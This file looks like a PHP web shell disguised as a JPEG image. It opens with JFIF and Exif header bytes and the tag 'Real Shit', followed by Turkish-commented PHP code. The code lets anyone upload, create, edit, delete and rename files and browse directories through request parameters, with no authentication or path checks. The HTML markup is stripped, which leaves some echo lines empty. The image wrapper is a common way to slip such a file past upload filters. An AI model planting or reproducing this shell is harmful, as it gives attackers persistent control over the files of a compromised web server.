����JFIF��x�x������Exif��MM�*����
����E���J����������������(������������������
Real Shit
�����x������x������C�
���C
����<�d"��������������
�������}�!1AQa"q2���#B��R��$3br�
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������������
������w�!1AQaq"2�B���� #3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������?��S��(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(��
Directory: '$dir'";
foreach ($items as $item) {
$fullPath = realpath("$dir/$item");
$style = determineStyle($fullPath);
$isDirectory = is_dir($fullPath);
echo "- ";
if ($isDirectory) {
echo "$item";
} else {
echo "$item -
Edit |
Delete |
Rename";
}
echo "
";
}
echo "
";
}
// Dosya ve klasörler için stil belirle
function determineStyle($path) {
if (is_readable($path) && is_writable($path)) {
return "color: green;";
} elseif (!is_writable($path)) {
return "color: red;";
}
return "color: gray;";
}
// Dosya yükleme işlemi
function handleFileUpload($dir) {
if (!empty($_FILES['uploadFile'])) {
$targetPath = $dir . DIRECTORY_SEPARATOR . basename($_FILES['uploadFile']['name']);
if (move_uploaded_file($_FILES['uploadFile']['tmp_name'], $targetPath)) {
echo "File uploaded successfully!
";
} else {
echo "File upload failed.
";
}
}
}
// Yeni klasör oluşturma
function createNewFolder($dir) {
if (!empty($_POST['newFolder'])) {
$folderPath = $dir . DIRECTORY_SEPARATOR . $_POST['newFolder'];
if (!file_exists($folderPath)) {
mkdir($folderPath);
echo "Folder created successfully!
";
} else {
echo "Folder already exists.
";
}
}
}
// Yeni dosya oluşturma
function createNewFile($dir) {
if (!empty($_POST['newFile'])) {
$filePath = $dir . DIRECTORY_SEPARATOR . $_POST['newFile'];
if (!file_exists($filePath)) {
file_put_contents($filePath, '');
echo "File created successfully!
";
} else {
echo "File already exists.
";
}
}
}
// Mevcut dosyayı düzenleme
function modifyFile($path) {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['fileContent'])) {
file_put_contents($path, $_POST['fileContent']);
echo "File saved successfully!
";
}
$content = file_exists($path) ? htmlspecialchars(file_get_contents($path)) : '';
echo "";
}
// Dosya silme
function removeFile($path) {
if (file_exists($path)) {
unlink($path);
echo "File deleted successfully!
";
}
}
// Dosya yeniden adlandırma
function updateFileName($path) {
if (!empty($_POST['renameTo'])) {
$newPath = dirname($path) . DIRECTORY_SEPARATOR . $_POST['renameTo'];
rename($path, $newPath);
echo "File renamed successfully!
";
} else {
echo "";
}
}
// İşlemleri yönet
if (!empty($_GET['action']) && !empty($_GET['file'])) {
$filePath = $currentDir . DIRECTORY_SEPARATOR . $_GET['file'];
switch ($_GET['action']) {
case 'modify':
modifyFile($filePath);
break;
case 'remove':
removeFile($filePath);
break;
case 'update':
updateFileName($filePath);
break;
}
}
// Form işlemlerini yönet
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES['uploadFile'])) {
handleFileUpload($currentDir);
} elseif (!empty($_POST['newFolder'])) {
createNewFolder($currentDir);
} elseif (!empty($_POST['newFile'])) {
createNewFile($currentDir);
}
}
echo "Current Directory: $currentDir
";
echo "Go Up";
listDirectoryContents($currentDir);
// Dosya yükleme formu
echo "Upload File
";
echo "";
// Yeni klasör oluşturma formu
echo "Create Folder
";
echo "";
// Yeni dosya oluşturma formu
echo "Create File
";
echo "";
?>